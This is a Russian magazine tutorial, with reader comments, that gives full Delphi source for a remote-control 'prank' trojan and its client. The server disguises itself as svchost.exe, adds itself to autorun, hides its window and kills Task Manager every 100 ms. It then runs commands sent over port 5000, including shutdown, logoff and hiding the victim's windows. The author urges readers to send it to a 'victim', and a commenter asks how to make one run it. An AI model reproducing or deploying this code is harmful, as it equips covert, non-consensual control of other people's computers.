Прикалываемся с помощью Delphi

(Окончание. Начало в №36'2008)

И снова я приветствую вас, дорогие читатели. Сегодня мы подведём как бы черту над нашими прикольными знаниями и, как я и обещал, сделаем кое-что интересное (смотря с какой стороны смотреть), а именно - будем управлять приколами на компьютере жертвы удалённо. Это можно назвать вирусом-трояном, но мы хорошие люди и ничего общего со злыми хакерами не имеем. Приступим...


Теория

Наша задача сделать две программы - клиент и сервер. Сервер забрасывается жертве и выполняет запрограммированные нами команды, например, открывает-закрывает дисковод и т.д. Т.е. задачи сервера:

  • скрыть себя (долг любой прикольной программы);
  • прописаться в автозагрузку;
  • открыть порт, по которому клиент к нему присоединится;
  • ждать соединения;
  • если соединение прошло, то выполнять запрограммированные команды.

Клиент - программа, которая остаётся у нас, подключается к серверу, посылает ему команды.

Для сетевых операций нам понадобятся компоненты с вкладки "Internet": "ServerSocket" и "ClientSocket". В Delphi 7 и 6 они по умолчанию не ставятся, поэтому нам придётся вручную их устанавливать. Для этого идите в Component > Install Packages > Add > директория Delphi > bin > dclsocketsXX.bpl (где ХХ версия Delphi, если у вас Delphi 7 то ХХ это 70). После этого у вас должны появиться компоненты как на рис. 1.

Рис. 1


Сервер

Запустите Delphi и дважды кликните по форме и заносите код:

procedure TForm1.FormCreate(Sender: TObject);
 var regini:treginifile;
begin
 regini:=treginifile.create('Software');
 regini.rootkey:=hkey_local_machine;
 regini.openkey('Software',true);
 regini.openkey('Microsoft',true);
 regini.openkey('Windows',true);
 regini.openkey('CurrentVersion',true);
 regini.writestring('Run','svchost.exe',Application.exename);
 regini.free;
 serversocket1.Active:=true;
end;	

Этот код должен быть вам знаком, но для вновь прибывших поясню: объявляю переменную "regini" типа для работы с реестром. Затем её инициализирую и стартую с раздела "Software" в реестре, дальше так и иду по реестру в направлении "hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\Run", последний раздел отвечает за автозагрузку, т.е. мы в автозагрузку занесли нашу программу с именем "svchost.exe" (если будете изменять имя, то измените имя и здесь) и в последней строчке кода делаю сокет активным (мы его потом бросим на форму). После этого в раздел "Uses" вносим "Registry", в этом модуле описаны функции для работы с реестром. Дальше щёлкаем по форме, заходим в объектном инспекторе на вкладку "Events" и создаём обработчик события "OnActivate", в который занесём код для скрытия нашей программы:

procedure TForm1.FormActivate(Sender: TObject);
begin
 ShowWindow(Handle, SW_HIDE);
 ShowWindow(Application.Handle, SW_HIDE);
end;	

Также можно закрывать "Диспетчер задач Windows" при каждом его возникновении, чтобы жертва в списке процессов не увидела нашу программу. Правда, если жертва откроет диспетчер для своих целей и диспетчер сразу закроется, то будет понятно - что-то здесь не чисто, и надо найти виноватую в этом происшествии программу, но не факт, что найти её будет легко;). Для осуществления этой задумки бросаем на форму компонент "Timer" с вкладки "System"и в свойстве "Interval" устанавливаем значение, равное 100 (десятая секунды). Два раза кликаем по компоненту и вносим код закрытия диспетчера:

procedure TForm1.Timer1Timer(Sender: TObject);
 var a:HWND;
begin
 a:=FindWindow(nil, 'Диспетчер задач Windows');
 if a<> 0 then
  SendMessage(a, WM_DESTROY,0,0);
end;

Теперь во время выполнения нашей программы каждую десятую долю секунды будет производиться поиск окна, и если его заголовок "Диспетчер задач Windows", то это окно закрывается. Вот такая безопасность. Далее начинается самая творческая часть - внесение функций для издевательств. Бросьте на форму компонент "ServerSocket1" с закладки "Internet". Зайдите в объектный инспектор при выделенном "ServerSocket1" и в свойстве "Port" измените значение на 5000 (это будет порт, к которому наш клиент будет присоединяться к серверу). Дальше зайдите на вкладку "Events", найдите событие "OnClientRead" и создайте обработчик для него (в нём наш сервер будет принимать команды от клиента и выполнять их) и впишите туда код:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
 Socket: TCustomWinSocket);
 Var scr:HDC; {будем использовать для работы с экраном}
  Panel, Knopka:hwnd; {эти переменные для изменения пуска}
  h:hwnd; {переменная для работы с окнами}
  i:string;{создаю переменную строкового типа
   для сохранения команд от клиента}
begin
 i:=Socket.ReceiveText;
 if i='1' then mciSendString('Set cdaudio door open wait',
   nil, 0, handle);
 if i='2' then mciSendString('Set cdaudio door closed wait',
   nil, 0, handle);
 if i='3' then begin
  panel:=FindWindow('shell_traywnd', nil);
  knopka:= FindWindowEx (panel, 0, 'button', nil);
  SetWindowText(knopka,'глюк');
  ShowWindow(knopka, SW_HIDE);
  ShowWindow(knopka, SW_show);
 End;
 if i='4' then begin
  scr:=GetDC(0);
  rectangle(scr, 0, 0, 1300, 1300);
 end;
 if i='5' then SwapMouseButton(true);
 if i='6' then SwapMouseButton(false);
 if i='7' then ExitWindowsEx(EWX_LOGOFF,0);
 if i='8' then ExitWindowsEx (EWX_POWEROFF,0 );
 if i='9' then begin
  h:=getforegroundwindow();
  showWindow (h, sw_hide);
 end;
 if i[1]='w' then messagebox (0,PChar(Copy(i,2,length(i))),
  'Windows',0);
 {это 10 команд - остальное твоя фантазия,
  чувство юмора и возможности}
end;

Теперь объяснения: сначала присваиваю переменной "i" текст, посланный от клиента, и смотрю, что это за текст. Если текст 1, то открыть DVD-привод (if i='1' then mciSendString('Set cdaudio door open wait', nil, 0, handle); ); если 2, то закрыть, и т.д (для работы этих двух команд в раздел "Uses" надо внести "MMSystem;"); 3 - поменять надпись на кнопке "Пуск" с "Пуск" на "Глюк"; 4 - зарисовываю белым прямоугольником весь экран (чтобы снова восстановить, нужно его (экран) обновить); 5 - поменять кнопки мышки местами; 6 - вернуть кнопки обратно; 7 - переводим компьютер в режим выбора профиля; 8 - выключаем его; 9 - находим любое активное окно и прячем его. И с помощью последней команды выводим сообщение (на ваш выбор) от Windows. Если захочешь, то добавишь свои команды. Напоследок сохраните ваш сервер, а потом скомпилируйте (Ctrl+F9). Зайдите в папку, где сохранили сервер, и измените имя у программы на "svchost", это у меня, если у вас другое имя, то подставьте его в код автозагрузки.

Ну вот, вроде, с серваком разобрались, остался клиент.


Клиент

Создаём новое приложение. На форму кидаем компонент "ClientSocket1" с закладки "Internet" и в свойстве "Port" ставим значение 5000 (как у сервера). Далее заходим на вкладку "Events" и создаём обработчики события "OnConnect", "OnConnecting", "OnDisconnect" и "OnError", в которые вносим код:

procedure TForm1.ClientSocket1Connect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
 StatusBar1.SimpleText:='Всё в норме';
 {событие когда мы подключились и всё прошло нормально}
end;
procedure TForm1.ClientSocket1Connecting(Sender: TObject;
 Socket: TCustomWinSocket);
begin
 StatusBar1.SimpleText:='Подключаюсь...';
 {событие когда мы начинаем подключение}
end;
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
 StatusBar1.SimpleText:='Отключился';
 {событие когда мы отключились}
end;
procedure TForm1.ClientSocket1Error(Sender: TObject;
 Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
 var ErrorCode: Integer);
begin
 StatusBar1.SimpleText:='Где-то ошибочка';
 {событие когда где-то возникла ошибка}
end;

Затем на форму помещаем компонент "StatusBar" с вкладки "Win32". Этот компонент выводит сообщения внизу окна программы. Далее размещаем на форме 2 "Label" и 12 "Button", желательно как у меня на форме (рис. 2).

Рис. 2

Теперь два раза понажимайте по каждой кнопке - и Delphi создаст обработчики события для каждой из них, в которые вы должны занести ещё код, объяснения в комментариях - комментарии в фигурных скобках, и их (комментарии) писать не надо:

procedure TForm1.Button1Click(Sender: TObject);
begin
 ClientSocket1.Host:=Edit1.Text; {заносится ip адрес}
 ClientSocket1.Active:=true; {активизируется клиент}
end;
procedure TForm1.Button2Click(Sender: TObject);
 begin
 ClientSocket1.Close; {закрываем соединение клиента}
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
 ClientSocket1.Socket.SendText('w'+edit2.text);
 {отправляю текст серверу (W + текст)}
 StatusBar1.SimpleText:='Команда "вывода сообщения" отправлена';
 {вывожу сообщение об отправке команды}
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
 ClientSocket1.Socket.SendText(inttostr(1));
 {отправляю 1 серверу, как текст}
 StatusBar1.SimpleText:='Команда "открытия дисковода" отправлена';
 {вывожу сообщение об отправке команды}
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
 ClientSocket1.Socket.SendText(inttostr(2));
 {отправляю 2 серверу, как текст}
 StatusBar1.SimpleText:='Команда "закрытия дисковода" отправлена';
 {вывожу сообщение об отправке команды}
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
 ClientSocket1.Socket.SendText(inttostr(3));
 {отправляю 3 серверу, как текст}
 StatusBar1.SimpleText:='Команда "изменения надписи на кнопке
  "пуск" отправлена';
 {вывожу сообщение об отправке команды}
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
 ClientSocket1.Socket.SendText(inttostr(4));
 {отправляю 4 серверу, как текст}
 StatusBar1.SimpleText:='Команда "зарисовки экрана" отправлена';
 {вывожу сообщение об отправке команды}
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
 ClientSocket1.Socket.SendText(inttostr(5));
 {отправляю 5 серверу, как текст}
 StatusBar1.SimpleText:='Команда "изменения кнопок
  мыши" отправлена';
 {вывожу сообщение об отправке команды}
end;
procedure TForm1.Button9Click(Sender: TObject);
begin
 ClientSocket1.Socket.SendText(inttostr(6));
 {отправляю 6 серверу, как текст}
 StatusBar1.SimpleText:='Команда "изменения кнопок
  мыши обратно" отправлена';
 {вывожу сообщение об отправке команды}
end;
procedure TForm1.Button10Click(Sender: TObject);
begin
 ClientSocket1.Socket.SendText(inttostr(7));
 {отправляю 7 серверу, как текст}
 StatusBar1.SimpleText:='Команда "перевода компьютера
  в "режим выбора юзера" отправлена';
{вывожу сообщение об отправке команды}
end;
procedure TForm1.Button11Click(Sender: TObject);
begin
 ClientSocket1.Socket.SendText(inttostr(8));
 {отправляю 8 серверу, как текст}
 StatusBar1.SimpleText:='Команда "выключения компьютера" отправлена';
 {вывожу сообщение об отправке команды}
end;
procedure TForm1.Button12Click(Sender: TObject);
begin
 ClientSocket1.Socket.SendText(inttostr(9));
 {отправляю 9 серверу, как текст}
 StatusBar1.SimpleText:='Команда "поиска и прятанья
  любого окна" отправлена'; {вывожу сообщение об отправке команды}
end;

Весь код отправки команд, в общем, одинаков: первая строка - отправляем сообщение с текстом, во второй вывожу подсказку, какую команду мы только что использовали. И ещё один нюанс - вторая строка (ClientSocket1.Host:= Edit1.Text; ), "Host" - обозначает, что ip-адрес, по которому мы будем подключаться, находится в локальной сети, если захотите управлять через Интернет, то вместо "Host" используйте "Address"(ClientSocket1. Address:=Edit1.Text; ). Всё, в общем, готово, но как-то некрасиво и не понятно, поэтому сейчас изменим надпись на кнопках и текст в полях ввода. За надпись на кнопках отвечает свойство "Caption", а за текст в полях ввода - свойство "Text". Исправьте форму, как у меня (рис. 3).

Рис. 3

Вот теперь всё красиво и должно работать, сохраните клиент и скомпилируйте его. Когда будете тестировать, введите в первое поле ввода IP-адрес и нажмите "Подключиться", если вы будете тестировать у себя на компьютере, то адрес будет у вас 127.0.0.1 (стандартный), и играйтесь с командами (главное - всё протестировать). Когда всё будет готово, кидайте жертве, и если она запустит программу - наслаждайтесь. А если не запустит, то запустите сами ;).


Итог

Сегодня мы рассмотрели связку клиент-сервер и сделали наши приколы удалёнными. Я употребил и старые, знакомые вам функции, и новые. Надеюсь, эти знания принесут вам пользу или, хотя бы, отличное настроение!

Резидент Николай,
rezidentnik@gmail.com

Версия для печатиВерсия для печати

Номер: 

01 за 2009 год

Рубрика: 

Азбука программирования
Заметили ошибку? Выделите ее мышкой и нажмите Ctrl+Enter!

Комментарии

Аватар пользователя Геннадий
Ну вот... :-( Последняя статья про Delphi. А так хотелось еще!!!

А может теперь стоило бы рассказать про программирование на J2ME (ну, для мобильных телефонов)?..

Аватар пользователя Геннадий
У кого получилось? ПИШИТЕ!

У меня не получилось! Во время соединения выдает ошибку сокета 10060!

На своем же компе работает, а вот уже в Интернете (address) не получается (с другом пробовали).

:-(

Аватар пользователя Eugene
Геннадий, порт 5000 потому что прикрыт где-то фаерволом :)
Аватар пользователя Инкогнито
Геннадий! Про J2ME рассказывать уже не стоит. Это тупиковая ветка развития Java. Ну если не тупиковая, то заброшенная точно. В наше время телефоны(смартфоны) обладают такими ресурсами и памятью, что уж проще писать на J2SE. Именно по этой причине SUN прекращает поддержку J2ME.

А вобще стоит обратить внимание на другие мобильные платформы iPod, Android

Аватар пользователя Инкогнито
у мну все получилось, на своем компе проверил. Но есть ворпос: Каким образом отдаленно даже в локалке отправить жертве сервер, да еще и чтобы он его запустил?????

Или нужно самому подойти и запустить на жертве сервер? Как то тупо получается

Ответ пришлите на stayer-c4@rambler.ru